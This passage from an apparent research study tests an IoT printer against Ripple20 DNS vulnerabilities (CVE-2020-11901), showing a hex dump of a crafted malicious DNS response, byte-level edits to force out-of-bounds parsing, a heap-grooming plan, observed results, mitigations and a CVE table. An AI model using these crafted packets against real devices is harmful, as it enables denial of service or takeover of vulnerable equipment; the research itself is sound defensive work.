dark green (white font). The first byte of the second question is marked in red: this is the byte
preceding the matrix scheme. The two blue sections represent answer 1 and answer 2.

Address  Byte values (hexadecimal)
----------------------------------------------------------------------------------------
0000:    ffff 8180 0002 0002 0000 0000 0778 6d70 7030 3038 0868 7065 7072 696e 7403 636f
0020:    6d00 0001 0001 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
0040:    3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f

0360:    3f3f 3f3f 3f3f 3f00 3e3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
0380:    3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
03a0:    3f3f 3f3f 3f3f 3fc0 273d 3e3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
03c0:    3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
03e0:    3f3f 3f3f 3f3f 3fc0 28c0 293b 3c3d 3e3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
0400:    3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
0420:    3f3f 3f3f 3f3f 3fc0 2ac0 2bc0 2cc0 2d37 3839 3a3b 3c3d 3e3f 3f3f 3f3f 3f3f 3f3f
0440:    3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
0460:    3f3f 3f3f 3f3f 3fc0 2ec0 2fc0 30c0 31c0 32c0 33c0 34c0 352f 3031 3233 3435 3637
0480:    3839 3a3b 3c3d 3e3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f
04a0:    3f3f 3f3f 3f3f 3fc0 36c0 37c0 38c0 39c0 3ac0 3bc0 3cc0 3dc0 3ec0 3fc0 40c0 41c0
04c0:    42c0 43c0 44c0 451f 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 3637
04e0:    3839 3a3b 3c3d 3ec0 46c0 47c0 48c0 49c0 4ac0 4bc0 4cc0 4dc0 4ec0 4fc0 50c0 51c0
0500:    52c0 53c0 54c0 55c0 56c0 57c0 58c0 59c0 5ac0 5bc0 5cc0 5dc0 5ec0 5fc0 60c0 61c0
0520:    62c0 63c0 64c0 6500 0100 01c0 0c00 0500 0100 0001 ba00 02c0 66c0 6600 0100 0100
0540:    0000 1e00 040f 4823 36

24 lines containing only 0x3f bytes not displayed

Figure 3.12 Overview of the placement of the malicious payload in the DNS message used for attack
on vulnerability No. 2.

The byte form of this DNS response (with message ID 0xffff) is available on the attached
data medium as the binary file packet003.bin.

3.3.3.5 DNS Response Used for Attack on Vulnerability No. 3
To exploit this vulnerability, we need to change the data in such a manner that the parser
processing label length and label data bytes overflows behind the end of the packet. Figure 3.13
illustrates this change.

  

0b

Answer 1 (0026-0043)
c0 0c Pointer to offset 0c
00 05 Answer type, 5 = CNAME
00 01 Answer class, 1 = internet address
00 00 06 27 TTL (time to live), 1575 s
00 12 RD length, 18 chars
07 78 6d 70 70 30 30 38 xmpp008
04 67 6c 62 31 glb1
02 68 70 hp
c0 1d Pointer to offset 1c

Figure 3.13 The byte changed in the DNS response used for attack on vulnerability No. 3.

By changing the byte at offset 0x32 from 0x07 to 0x0b, we force the system to interpret the
next 11 bytes as a label and the byte that follows them (offset 0x3e, value of 0x31) as a label
length indicator. Its value (0x31) then points to the space behind the bounds of the DNS response
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and the UDP packet. The offset of the last byte in the DNS response is 0x53, while this length
byte indicates that the next label starts at offset 0x70. If the vulnerability is present in the
system, we would thus overflow to a “forbidden area” by 29 bytes, potentially resulting in error.

3.3.4 Comparative Analysis of Behaviour
To evaluate the response of the device to the attempted attack we have decided to apply the
following method: (1) we establish a set of possible scenarios, and describe behaviour of the
system in each of them; (2) we compare the observed behaviour under attack to the individual
scenarios and try to find the one that is identical.

It is also necessary to clearly define what do we call “behaviour” here. Since we have no
access to the internal subsystems of the device, we can observe its behaviour only on the basis of
its communication with the external world through (1) data network, (2) its physical interface
(display and indicators on its panel), and (3) its web-based interface. As far as the device’s data
network communication is concerned, we monitor DNS traffic only.

Our set of scenarios comprises the following options:

Correct behaviour of DNS system: each DNS query of the device is followed by a valid
response within reasonable period of time.

No reply to A-type queries for xmpp008.hpeprint.com: these queries are left unanswered,
other DNS queries sent by the device are followed by valid responses.

Invalid response to A-type query for xmpp008.hpeprint.com: in this case, the reply is recog-
nized by the DNS resolver as invalid.

Wrong IP address received in response to A-type query for xmpp008.hpeprint.com: the DNS
query is followed by a response, which is valid. The IP address contained in it, however, does
not help the device to connect to the respective Internet resource.

We believe that the behaviour of the device under attack should show a similarity to one
of these scenarios. The result should thus allow us to find at least an estimate of a conclusion
concerning the handling of the malformed packet used for the attack within the device’s system.

After the device boots, it sends several different types of DNS queries. We have selected
one of them as the experimental query, while the other queries (if they are under the respective
scenario sent at all) are normally replied to using valid responses. The actual attack is then
also performed in response to that particular query, though in the end, we try also a different
approach in order to reveal a potential heap overflow.

After powering up the device and after successfully connecting to the registered Wi-Fi net-
work, the Wireless light stops flashing and remains on. Shortly afterwards the device starts
sending DNS queries to a DNS server.

3.3.4.1 Correct Behaviour Scenario
In the default mode, which is activated by launching the script without any command-line
argument or with the allOK argument, five DNS queries are sent to the server and all of them
are responded using valid DNS replies:

Time ID Type Name Response
-----------------------------------------------------------

0.000 32622 AAAA xmpp008 . hpeprint .com. Valid response
0.329 41877 A xmpp008 . hpeprint .com. Valid response
0.472 29377 AAAA xmpp008 . hpeprint .com. Valid response
4.549 42143 AAAA chat. hpeprint .com. Valid response
4.789 60545 A chat. hpeprint .com. Valid response
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The Web Services light on the device’s control panel stops flashing and remains on. The
web-based interface of the device shows that the device is connected to the web services (see
Figure 3.14).

Figure 3.14 Device web interface confirming the connection to the cloud services.

3.3.4.2 No-Reply Scenario
In this scenario, which is activated by the noreply command-line argument, the first query
(AAAA-type query for xmpp008.hpeprint.com), gets a valid response. It is followed by A-type
query for xmpp008.hpeprint.com. There is no response to this query and the device resends the
same query (with the same ID number) another four times in approximately 7 seconds intervals.
After five attempts, the first query (AAAA type) is repeated and the entire process starts over.
One round of such DNS communication looks like this:

Time ID Type Name Response
-----------------------------------------------------------

0.000 32625 AAAA xmpp008 . hpeprint .com. Valid response
0.319 17819 A xmpp008 . hpeprint .com. No response
7.233 17819 A xmpp008 . hpeprint .com. No response

14.281 17819 A xmpp008 . hpeprint .com. No response
21.283 17819 A xmpp008 . hpeprint .com. No response
28.233 17819 A xmpp008 . hpeprint .com. No response

The Web Services light on the device’s control panel does not stop flashing. The web-
based interface of the device shows that the device is not connected to the web services (see
Figure 3.15).

3.3.4.3 Invalid DNS Response Scenario
In this scenario, which is activated by the invalidresponse command-line argument, the device
identifies the received response as invalid (it has an incorrect byte in domain name in the question
section). The device performs five attempts to get a correct response, in each case both the
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Figure 3.15 Device web interface indicating failure to connect to the cloud services.

AAAA-type and the A-type queries are resent. After five attempts, the device stops trying and
sends queries for another domain name.

The pattern of the DNS communication is as follows:

Time ID Type Name Response
-----------------------------------------------------------

0.000 64496 AAAA xmpp008 . hpeprint .com. Valid response
0.417 9955 A xmpp008 . hpeprint .com. Invalid response
0.915 43600 AAAA xmpp008 . hpeprint .com. Valid response
1.261 62667 A xmpp008 . hpeprint .com. Invalid response
1.414 38118 AAAA xmpp008 . hpeprint .com. Valid response
1.673 7267 A xmpp008 . hpeprint .com. Invalid response
1.939 19239 AAAA xmpp008 . hpeprint .com. Valid response
2.416 27935 A xmpp008 . hpeprint .com. Invalid response
2.664 13894 AAAA xmpp008 . hpeprint .com. Valid response
2.957 57825 A xmpp008 . hpeprint .com. Invalid response
3.992 24045 AAAA chat. hpeprint .com. Valid response
4.282 63753 A chat. hpeprint .com. Valid response

The Web Services light on the device’s control panel does not stop flashing. The web-
based interface of the device shows that the device is not connected to the web services (see
Figure 3.15).

3.3.4.4 Wrong IP Address Scenario
In this scenario, which is activated by the wrongip command-line argument, the script replies to
the DNS requests of the device of the A type for xmpp008.hpeprint.com by a valid DNS response,
which contains an incorrect IP address.
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The pattern of the DNS communication is as follows:

Time ID Type Name Response
-----------------------------------------------------------

0.000 64466 AAAA xmpp008 . hpeprint .com. Valid response
0.467 12495 A xmpp008 . hpeprint .com. Resp. OK , wrong IP
0.954 8695 AAAA xmpp008 . hpeprint .com. Valid response
4.047 10757 AAAA chat. hpeprint .com. Valid response
4.536 12715 A chat. hpeprint .com. Valid response

28.786 49521 AAAA xmpp008 . hpeprint .com. Valid response
56.505 23522 AAAA xmpp008 . hpeprint .com. Valid response
56.773 12326 A xmpp008 . hpeprint .com. Resp. OK , wrong IP
84.724 51936 AAAA xmpp008 . hpeprint .com. Valid response

The Web Services light on the device’s control panel does not stop flashing. The web-
based interface of the device shows that the device is not connected to the web services (see
Figure 3.15).

3.3.5 Revealing Heap Overflow
With the exception of vulnerability No. 4, predictable transaction ID, CVE-2020-11901 vulnera-
bilities involve a potential heap overflow. Heap overflow is a specific case of buffer overflow that
occurs on the heap. Unlike stack overflows, however, heap overflows are more difficult to detect
and exploit.

When a buffer overflow occurs on the stack, the return address needed after the completion of
the current sub-program can be overwritten. This is not the only path for exploiting a stack-based
buffer overflow (e.g. exception registration structures stored on the stack can be overwritten too,
as pointed out by Koziol et al in [49]). In case of an accidental occurrence of such a buffer
overflow, however, the incorrect value in place of the return address usually makes it impossible
to pass unseen. A crash of the system is the typical result of a buffer overflow with no crafted
shellcode utilized.

A heap-based overflow, on the other hand, can easily occur undetected. It may happen that
the overwritten memory is not currently used or that although some important metadata were
overwritten, they were not needed, as e.g. no free() instruction was called on the respective
memory chunk.

Once again we have to stress that we are not able to get to the internal memory of the device
we use for our experiments. We have neither the source code nor the binary executables of any
software it runs. We do not know the version of the TCP/IP Stack in the device. We can only
observe its behaviour, including its communication with outer world. It is therefore quite clear
that any attempt to exploit a heap overflow in order to achieve remote code execution would
need skills and experience that cannot be expected at our level of expertise.

However, a detection of heap overflow manifesting itself in the form of a crash of the device’s
system could be achievable. The prerequisite is, of course, that the vulnerability in question is
actually present in the device’s firmware.

Our approach and methods are described in detail in Section 3.4.2.

3.4 Attack Implementation

Observations of the system’s behaviour under the different attacks are described in this section.
Relevant considerations are presented and possible explanations are proposed.
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3.4.1 CVE-2020-11901 Vulnerability No. 1
We tested our device for vulnerability No. 1, bad RDLENGTH leads to heap overflow, using our
testing script 11901.py (command line arguments attack 1). The response used for the attack
was a valid response packet with actual correct data, but with incorrect RDLENGTH value in
the CNAME section (a value of 0x02 was used instead of 0x12).

The DNS communication of the device showed the following behaviour:

Time ID Type Name Response
-----------------------------------------------------------

0.000 48805 AAAA xmpp008 . hpeprint .com. Valid response
0.224 49407 A xmpp008 . hpeprint .com. Malicious response
0.567 46879 AAAA xmpp008 . hpeprint .com. Valid response
0.724 13936 A xmpp008 . hpeprint .com. Malicious response
1.023 14880 AAAA xmpp008 . hpeprint .com. Valid response
1.223 21432 A xmpp008 . hpeprint .com. Malicious response
1.587 64771 AAAA xmpp008 . hpeprint .com. Valid response
1.741 43685 A xmpp008 . hpeprint .com. Malicious response
2.040 5980 AAAA xmpp008 . hpeprint .com. Valid response
2.240 1433 A xmpp008 . hpeprint .com. Malicious response
3.299 40853 AAAA chat. hpeprint .com. Valid response
3.589 57923 A chat. hpeprint .com. Valid response

The Web Services light on the device’s control panel does not stop flashing. The web-based
interface of the device shows that the device is not connected to the web services (see Figure 3.15).

The recorded data indicate that the device considers the DNS response with RDLENGTH
value smaller than the correct value as invalid and rejects it. In another experiment with another
DNS response, in which RDLENGTH value was larger than the actual correct value (0x30 instead
of 0x12), the behaviour of the device was the same, i.e. the DNS response was rejected.

We can imagine two possible reasons for the rejection of this DNS response:

1. The system reads the RDLENGTH value and somehow compares it to the actual length of
the domain name. When a discrepancy is found, the system rejects the package.

2. The system reads the RDLENGTH value and segments the subsequent bytes on its basis,
i.e. either ends the domain name too early or too late, resulting in a corruption of the rest of
the data.

We do not see any possibility, however, that such a behaviour could be a result of a heap
overflow. That would lead to a system crash or reboot, not to a mere rejection of the respective
DNS response.

3.4.2 CVE-2020-11901 Vulnerability No. 2
We tested our device for vulnerability No. 2, from integer overflow to heap overflow, using our
testing script 11901.py (command line arguments attack 2). For the attack we used the DNS
response described above in Section 3.3.3.4.

DNS communication of the device showed the following behaviour:

Time ID Type Name Response
-----------------------------------------------------------

0.000 32625 AAAA xmpp008 . hpeprint .com. Valid response
0.318 31461 A xmpp008 . hpeprint .com. Malicious response
0.469 62329 AAAA xmpp008 . hpeprint .com. Valid response
4.286 24027 AAAA chat. hpeprint .com. Valid response
4.526 30627 A chat. hpeprint .com. Valid response
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The Web Services light on the device’s control panel stops flashing and remains on. The
web-based interface of the device shows that the device is connected to the web services (see
Figure 3.14).

Based on these observations, the behaviour of the system under our attack perfectly corre-
sponds to the correct behaviour as described in Section 3.3.4.1 above. We have to keep in mind,
however, that our results have not provided us with any indication whether or not a heap-based
overflow occurred during our experiment so far. We therefore have to adopt a more sophisticated
targeted approach to shape the heap in such a way that the potential overflow would actually
lead to a measurable event (probably a crash).

What we need is a sequence of two DNS entries (specifically domain names which are pointed
from DNS entries stored in another place of the heap), which would be allocated on the heap
one after another. To achieve this goal, we need two allocations of similar size allocated without
much delay between them. In this way, we believe, we can maximize the probability that the two
memory chunks are allocated in the same heap bucket (i.e. memory area) one after another. The
first of these domain names would be then overflown to the following one. This would possibly
lead to a crash at the moment a free() command is called on the memory allocated for the
second domain name.

As a starting point, we take the normal behaviour of the device. After a reboot, it sends five
DNS requests, as illustrated in this output from console:

Time ID Type Name Response
-----------------------------------------------------------

0.000 32612 AAAA xmpp008 . hpeprint .com. Valid response
0.468 32492 A xmpp008 . hpeprint .com. Valid response
0.746 13594 AAAA xmpp008 . hpeprint .com. Valid response
4.762 57623 AAAA chat. hpeprint .com. Valid response
5.002 60806 A chat. hpeprint .com. Valid response

When we look at the entries we can assume the following sequence of actions:

1. Memory on the heap is allocated for the domain name returned in the CNAME answer to
the AAAA-type query for xmpp008.hpeprint.com.

2. Memory on the heap is allocated for the domain name returned in the CNAME answer to
the A-type query for xmpp008.hpeprint.com.

3. Memory allocated on the heap in (1) is freed (free() is called).

4. Memory on the heap is allocated for the domain name returned in the CNAME answer to
the AAAA-type query for xmpp008.hpeprint.com.

5. Memory on the heap is allocated for the domain name returned in the CNAME answer to
the AAAA-type query for chat.hpeprint.com.

6. Memory on the heap is allocated for the domain name returned in the CNAME answer to
the A-type query for chat.hpeprint.com.

We can see that the free() call is probably used just once and in connection with the first
allocated name. This would not allow us to perform the intended actions in the planned order as
we need a free() call for memory allocated AFTER the memory chunk containing the overflowing
domain name.

We have found a solution though. When the Wireless button of the device is pressed, it
disconnects the device from the Internet. A repeated press connects it again, leading to a new
series of 3 DNS queries as depicted below (similar effect has clicking on the Try Again button
on the device’s web interface, see Figure 3.15):
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Time ID Type Name Response
-----------------------------------------------------------

0.000 64885 AAAA xmpp008 . hpeprint .com. Valid response
0.115 10348 A xmpp008 . hpeprint .com. Valid response
0.426 18676 AAAA xmpp008 . hpeprint .com. Valid response

We can see that the queries related to xmpp008.hpeprint.com are repeated even though the
system did not reboot. That means that the memory with the original entries was most probably
freed using the free() call, this time not only in relation to the AAAA-type record but the A-type
record as well. And the memory for the domain name of this A-type record was allocated after
that for the AAAA-type record. If a heap overflow is triggered by the domain name returned in
the AAAA-type record, and if it is sufficiently large, it should corrupt the memory chunk storing
the domain name returned in the A-type record, which should then lead to a system crash when
a free() command is called for the latter memory chunk.

To ensure that domain names of both the overflowing and to-be-overflown memory chunks
are placed in the same memory area (bucket), we use the same domain names in both of them.
This means that the second domain name also overflows the memory allocated on the heap and
increases the probability of crash (it can e.g. overflow to unmapped memory or another unrelated
chunk that could be freed later).

It is also important to point out that if the device contains the vulnerability CVE-2020-11901,
No. 2, “from integer overflow to heap overflow”, the allocated memory would be significantly
smaller than the actual length of the domain name due to the integer overflow (it would be
actually smaller by those 65536 bytes that “got lost” in overflowing the unsigned short integer
value). This amount of overflow should be sufficient enough to compensate for any gaps caused
by memory alignment or other factors.

Based on this strategy, the following plan was created:

1. We launch our script in the allOK mode, which means that after the device boots, the first
five DNS queries are replied using correct DNS data from the regular server. This will allow
the device to establish connection with the cloud system and enter a stable mode of operation
(mostly waiting). Then we stop the script.

2. We launch our script (actually we prepared its slightly modified version specifically for this
purpose, v2_11901.py) in the attack mode, which means that any new DNS queries will be
replied with malicious replies utilizing the integer-overflow responses. We then press the
device’s Wireless button twice (with a few seconds waiting in between) and let the system
send its three DNS queries and the script reply to them.

3. We can repeat the step 2 if nothing happens to increase the probability of success. It is again
important to stress that we have no actual knowledge of the memory management system
used in the device and therefore it is quite legitimate to repeat the process with the intent
to increase the probability of achieving an optimum arrangement of memory chunks on the
heap.

When we performed the experiment on the basis of the above-described plan, nothing hap-
pened. The recorded pattern of behaviour can be seen below. The first part documents the
response of the device to the step 1:

Time ID Type Name Response
-----------------------------------------------------------

0.000 64363 AAAA xmpp008 . hpeprint .com. Valid response
0.285 43300 A xmpp008 . hpeprint .com. Valid response
0.426 1743 AAAA xmpp008 . hpeprint .com. Valid response
4.585 7691 AAAA chat. hpeprint .com. Valid response
4.826 26395 A chat. hpeprint .com. Valid response
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And the step 2 follows:

Time ID Type Name Response
-----------------------------------------------------------

0.000 64737 AAAA xmpp008 . hpeprint .com. Malicious response
0.137 29350 A xmpp008 . hpeprint .com. Malicious response
0.400 21409 AAAA xmpp008 . hpeprint .com. Malicious response

The device did not crash in the manner observed in case of CVE-2020-11898 and did not
reboot (which could be another symptom of a crash) as that would be visible in the console
output of the script (new series of 5 DNS queries would be sent). We therefore firmly believe
that the vulnerability in question, viz. CVE-2020-11901, No. 2, from integer overflow to heap
overflow, is not present in the device we tested.

3.4.3 CVE-2020-11901 Vulnerability No. 3
We tested our device for vulnerability No. 3, read out-of-bounds, using our testing script 11901.py
(command line arguments attack 3). The DNS response used for the attack was the one described
above in Section 3.3.3.4.

DNS communication of the device showed the following behaviour:

Time ID Type Name Response
-----------------------------------------------------------

0.000 7603 AAAA xmpp008 . hpeprint .com. Valid response
0.242 20242 A xmpp008 . hpeprint .com. Malicious response
0.494 27117 AAAA xmpp008 . hpeprint .com. Valid response
3.984 23078 AAAA chat. hpeprint .com. Valid response
4.226 21537 A chat. hpeprint .com. Valid response

The Web Services light on the device’s control panel stops flashing and remains on. The
web-based interface of the device shows that the device is connected to the web services (see
Figure 3.14).

It is apparent that the device did not have any problems to overcome our attempt to lead it
to an error, possibly resulting in crash. It seems important to us that in the case of the above-
described DNS response the RDLENGTH value was left unchanged (the correct value of 0x12
was used). When we tried the same attempt with changed RDLENGTH value, the DNS response
was rejected in the same way as we observed when attempting to attack the vulnerability No. 1.

3.4.4 CVE-2020-11901 Vulnerability No. 4
During experimenting with DNS responses, we have captured many series of DNS queries sent
by the device. Although it seems that there is no apparent regularity in message ID numbering
(numbers neither start from zero nor show an easily predictable pattern), we have decided to
perform some basic statistical tests (frequency test and runs test) on three samples of sequences
of generated ID numbers examining their randomness. The tested sequences, test descriptions
and results are presented in Appendix B. Based on the results, we can conclude that the presence
of the CVE-2020-11901 vulnerability No. 4 in the tested device can be ruled out.

3.5 Results and Their Interpretation

The behaviour of the device facing various types of attacks placed in the CNAME type answer
section can be summarized as follows:
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1. The device is perfectly resistant to attacks based on the processing of the canonical domain
name. DNS responses prepared for attacks on the vulnerabilities 2 and 3 do not lead to any
deviation from normal behaviour.

2. Any DNS response containing a wrong RDLENGTH data in the CNAME type question
section results in a rejection of the response. This concerns both values that are lower than
the correct value and those that are higher.

We can imagine various possible approaches to DNS message parsing that could lead to this
particular behaviour. We do not see, however, any reliable method how to confirm or reject
such hypotheses and such effort would likely be out of the scope of this study. Therefore we
just conclude that although this behaviour seems to be rather strange, it ensures quite a strong
protection against the vulnerabilities of the CVE-2020-11901 group.

3.6 Risk Mitigation Strategies
Since our device has proven to be resistant against our efforts to exploit the CVE-2020-11901
vulnerabilities, risk mitigation strategies can be defined at a general level only.

1. The user should change the default credentials (this is a general advice not directly related to
this type of attack, we place it here due to its extreme importance). In our particular case,
the device allows the user to set a password in order to protect the system settings. It should
be noted that a change in settings was one of the preconditions making the attacks much
easier for us (by changing the network settings, we rerouted DNS messages to the attacking
computer).

2. The device should run the most up-to-date version of firmware.

3. A vulnerable device should not directly face the Internet. A properly configured internal
network should be able to prevent such an attack from the outside.

4. A vulnerable device should be connected to trusted networks only. The user must consider
who else can get access to the network to which the device is connected.

3.7 Behaviour After a Firmware Update
After performing and evaluating all the experiments, we performed an upgrade to the current
version of firmware issued after the discovery of the Ripple20 vulnerabilities (LAP1FN2020BR).
The behaviour of the device remained unchanged, i.e. correct.
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Conclusion

We have performed experiments attempting to reproduce the attacks on two Ripple20 vulnera-
bilities, specifically CVE-2020-11898 and CVE-2020-11901, the latter being a collection of four
specific sub-cases. We are convinced that we succeeded in fulfilling the necessary preconditions,
preparing the hardware environment, creating software utilities as well as implementing the
actual attacks.

As regards the CVE-2020-11898 vulnerability, our attack did not yield the same result as
that of JSOF researchers, viz. “information leak”. This is not because of incorrect performance
of the attack but due to the specific implementation of the related or other functions in our IoT
device. The result was different but still tangible as we achieved a “denial of service”.

Concerning the CVE-2020-11901 vulnerability, our IoT device has proven to be virtually
impenetrable. We are convinced that we were able to sufficiently test all of the four vulnerabilities
covered by this CVE number. Our results show that this vulnerability (or none of them, to be
precise) is actually present in our tested device.

From a security perspective, our IoT device has proven to be imperfect (it should be noted,
however, that the firmware upgrade has resolved the problem). When experimenting with it, we
have in fact discovered another reliable method of achieving a permanent denial of service (until
hardware restart) by flooding one of the device’s open ports with packets. This method is not
described elsewhere in this study since we consider it as a “side product” of our research only.
It highlights, however, our other findings concerning the immunity of the device against attacks.

The general assumption that the Internet of Things demonstrates cybersecurity issues has
been basically confirmed by our study. The fact that some of the tested vulnerabilities have
not been found in the device is certainly positive. On the other hand, it illustrates how difficult
it may be to trace the problems of embedded software components, like protocol stacks, in the
wide, diverse and difficult-to-map landscape of actual implementations.

Much attention has been devoted to this area but there is still a lot to be done. It is
significant that many of the quoted papers appeared during the last months or even weeks. It
can be expected that such attention of cybersecurity professionals will have an impact on the
manufacturers, operators and owners of IoT devices as well. Otherwise, the boom of connected
services and devices surrounding our lives might give us a very grim perspective. Let us conclude
with words of the pioneer of white-hat hacking and the discoverer of a scary systemic error in
DNS, the late Daniel Kaminsky: “The internet was never designed to be secure. The internet
was designed to move pictures of cats. We are very good at moving pictures of cats. [...] We
didn’t think you’d be moving trillions of dollars onto this. What are we going to do? And here’s
the answer: Some of us got to go out and fix it.” [50]
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Appendix A

List of All Ripple20
Vulnerabilities

The table below has been compiled and rearranged using data from the Ripple20 initial an-
nouncement. All the text in this Appendix A is a verbatim quote from [26].

CVE ID CVSSv3 Description Fixed on
Version

CVE-2020-11896 10

This vulnerability can be triggered by
sending multiple malformed IPv4
packets to a device supporting IPv4
tunneling. It affects any device running
Treck with a specific configuration. It
can allow a stable remote code
execution and has been demonstrated
on a Digi International device. Variants
of this Issue can be triggered to cause a
Denial of Service or a persistent Denial
of Service, requiring a hard reset.
Remote Code Execution

6.0.1.66
(release

30/03/2020)

CVE-2020-11897 10

This vulnerability can be triggered by
sending multiple malformed IPv6
packets to a device. It affects any device
running an older version of Treck with
IPv6 support, and was previously fixed
as a routine code change. It can
potentially allow a stable remote code
execution.
Out-of-Bounds Write

5.0.1.35
(release

04/06/2009)

CVE-2020-11898 9.1

Improper Handling of Length
Parameter Inconsistency (CWE-130) in
IPv4/ICMPv4 component, when
handling a packet sent by an
unauthorized network attacker.
Possible Exposure of Sensitive
Information (CWE-200)

6.0.1.66
(release

03/03/2020)
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CVE ID CVSSv3 Description Fixed on
Version

CVE-2020-11899 5.4

Improper Input Validation (CWE-20) in
IPv6 component when handling a
packet sent by an unauthorized network
attacker.
Possible Out-of-bounds Read
(CWE-125), and Possible Denial of
Service.

6.0.1.66
(release

03/03/20)

CVE-2020-11900 8.2

Possible Double Free (CWE-415) in
IPv4 tunneling component when
handling a packet sent by a network
attacker.
Use After Free (CWE-416)

6.0.1.41
(release

10/15/2014)

CVE-2020-11901 9

This vulnerability can be triggered by
answering a single DNS request made
from the device. It affects any device
running Treck with DNS support and
we have demonstrated that it can be
used to perform Remote Code
Execution on a Schneider Electric APC
UPS. In our opinion this is the most
severe of the vulnerabilities despite
having a CVSS score of 9.0, due to the
fact that DNS requests may leave the
network in which the device is located,
and a sophisticated attacker may be
able to use this vulnerability to take
over a device from outside the network
through DNS cache poisoning, or other
methods. Thus an attacker can
infiltrate the network and take over the
device with one vulnerability bypassing
any security measures.
The malformed packet is almost
completely RFC compliant, and so it
will likely be difficult for security
products such as firewalls to detect this
vulnerability. On very old versions of
the Treck stack, still running on some
devices, the transaction ID is not
randomized making the attack easier.
Remote Code Execution

6.0.1.66
(release

03/03/2020)

CVE-2020-11902 7.3

Improper Input Validation (CWE-20) in
IPv6OverIPv4 tunneling component
when handling a packet sent by an
unauthorized network attacker.
Possible Out-of-bounds Read
(CWE-125)

6.0.1.66
(release

03/03/20)
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CVE ID CVSSv3 Description Fixed on
Version

CVE-2020-11903 5.3

Possible Out-of-bounds Read
(CWE-125) in DHCP component when
handling a packet sent by an
unauthorized network attacker.
Possible Exposure of Sensitive
Information (CWE-200)

6.0.1.28
(release

10/10/12)

CVE-2020-11904 5.6

Possible Integer Overflow or
Wraparound (CWE-190) in Memory
Allocation component when handling a
packet sent by an unauthorized network
attacker
Possible Out-of-Bounds Write
(CWE-787)

6.0.1.66
(release

03/03/2020)

CVE-2020-11905 5.3

Possible Out-of-bounds Read
(CWE-125) in DHCPv6 component
when handling a packet sent by an
unauthorized network attacker.
Possible Exposure of Sensitive
Information (CWE-200)

6.0.1.66
(release

03/03/20)

CVE-2020-11906 5

Improper Input Validation (CWE-20) in
Ethernet Link Layer component from a
packet sent by an unauthorized user.
Integer Underflow (CWE-191)

6.0.1.66
(release

03/03/20)

CVE-2020-11907 5

Improper Handling of Length
Parameter Inconsistency (CWE-130) in
TCP component, from a packet sent by
an unauthorized network attacker
Integer Underflow (CWE-191)

6.0.1.66
(release

03/03/20)

CVE-2020-11908 3.1

Improper Null Termination (CWE-170)
in DHCP component when handling a
packet sent by an unauthorized network
attacker.
Possible Exposure of Sensitive
Information (CWE-200)

4.7.1.27
(release

11/08/07)

CVE-2020-11909 3.7

Improper Input Validation (CWE-20) in
IPv4 component when handling a
packet sent by an unauthorized network
attacker.
Integer Underflow (CWE-191)

6.0.1.66
(release

03/03/20)

CVE-2020-11910 3.7

Improper Input Validation (CWE-20) in
ICMPv4 component when handling a
packet sent by an unauthorized network
attacker.
Possible Out-of-bounds Read
(CWE-125)

6.0.1.66
(release

03/03/20)
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CVE ID CVSSv3 Description Fixed on
Version

CVE-2020-11911 3.7

Improper Access Control (CWE-284) in
ICMPv4 component when handling a
packet sent by an unauthorized network
attacker. Incorrect Permission
Assignment for Critical Resource
(CWE-732)

6.0.1.66
(release

03/03/20)

CVE-2020-11912 3.7

Improper Input Validation (CWE-20) in
TCP component when handling a
packet sent by an unauthorized network
attacker.
Possible Out-of-bounds Read
(CWE-125)

6.0.1.66
(release

03/03/20)

CVE-2020-11913 3.7

Improper Input Validation (CWE-20) in
IPv6 component when handling a
packet sent by an unauthorized network
attacker.
Possible Out-of-bounds Read
(CWE-125)

6.0.1.66
(release

03/03/20)

CVE-2020-11914 3.1

Improper Input Validation (CWE-20) in
ARP component when handling a
packet sent by an unauthorized network
attacker.
Possible Out-of-bounds Read
(CWE-125)

6.0.1.66
(release

03/03/20)
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Statistical Analysis of Generated
Random Numbers

In order to confirm or reject our hypothesis concerning the “randomness” of generated number
sequences used for DNS message ID numbers, a statistical analysis had to be performed. The
respective data, the tests and their results are described in this appendix.

For the purposes of this chapter, the R project for statistical computing (language and en-
vironment) has been used1. We do not explain the mathematical principles of the individual
functions and rely on the predefined functions and features of the R language and environment.

B.1 Analysed Numbers
The sequences of IDs used for the analysis were obtained using the 11901.py script with the
invalidresponse command-line argument. After recording 12 DNS queries from the device,
we disconnected and reconnected the device to the network (five times in total) by pushing the
Wireless button twice and obtained 10 more DNS queries each time. We thus collected a sequence
of 62 DNS queries generated in a row, without a reboot in-between.

In this way, we generated three sequences of 62 numbers and performed the statistical tests on
each of them separately. These three sequences (s1, s2, and s3) are listed below as R commands
used to create the respective numeric vectors:
s1 <- c(64441 , 18376 , 62841 , 26621 , 13492 , 23813 , 56105 , 64649 , 13699 ,
47743 , 18064 , 48523 , 64804 , 27203 , 61092 , 160, 53424 , 7207 , 1489 , 24183 ,
42510 , 7822 , 64006 , 55925 , 2446 , 50515 , 25593 , 47843 , 45392 , 38932 ,
34571 , 59427 , 15762 , 45293 , 43990 , 45043 , 44077 , 57387 , 58047 , 56417 ,
3423 , 20530 , 64693 , 35704 , 20001 , 12770 , 49392 , 17391 , 24825 , 24726 ,
22288 , 3808 , 8021 , 23091 , 38475 , 9169 , 13736 , 47161 , 7805 , 23476 , 29901 ,
15770)

s2 <- c(64385 , 23791 , 14096 , 16549 , 16183 , 46978 , 53257 , 44090 , 28272 ,
